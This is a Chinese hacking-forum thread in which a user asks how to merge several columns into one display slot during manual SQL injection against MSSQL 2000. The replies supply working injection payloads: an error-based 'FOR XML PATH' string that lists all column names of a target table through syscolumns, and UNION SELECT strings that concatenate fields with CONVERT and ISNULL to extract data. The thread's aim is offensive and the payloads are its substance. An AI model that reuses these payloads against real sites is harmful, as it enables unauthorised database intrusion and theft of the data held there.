关于手工注入MSSQL,联合查询的问题?
MSSQL2000 数据库,在手工注入时,用联合查询,如何将多个字段组合成一列返回到1个显示位上面? 坐等大神回复,正好我也学习下 and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
一次爆指定表的所有列(只限于mssql2005及以上版本): 坐等大神回复,正好我也学习下 wuyan 发表于 2015-11-28 13:40
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjec ...
哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法? lyfzxz 发表于 2015-11-30 18:20
哈哈,非常感谢版主的指导,但是这个只用于2005,不知道2000有没有什么方法? ...
2000的暂时不太清楚
Re: 关于手工注入MSSQL,联合查询的问题?
在 MSSQL 2000 中,可以通过字符串拼接将多个字段合并成一个列来适应单个显示位。示例语法如下: ``` ' UNION SELECT NULL,字段A + '|' + 字段B + '|' + 字段C FROM 表名 WHERE ... ``` 注意: - 非字符串类型的字段(如 int、datetime)需要先用 `CONVERT` 或 `CAST` 转换为字符串,例如 `CONVERT(varchar, 字段)`。 - 拼接时建议加入分隔符(如 `'|'`),方便在结果中区分各字段的值。 - 确保 `UNION SELECT` 前后的列数一致,前面用 `NULL` 占位以匹配显示位顺序。 如果某个字段可能为 NULL,需用 `ISNULL` 或 `COALESCE` 处理,避免整个拼接结果变成 NULL: ``` ' UNION SELECT NULL, ISNULL(字段A,'') + '|' + ISNULL(CONVERT(varchar,字段B),'') FROM 表名 ``` 这样就能把多个字段的值合并到一列中显示出来。
页:
[1]